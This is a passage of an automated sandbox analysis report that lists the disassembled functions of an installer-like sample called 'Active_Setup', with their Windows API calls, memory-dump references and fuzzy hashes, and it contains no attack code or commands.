Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
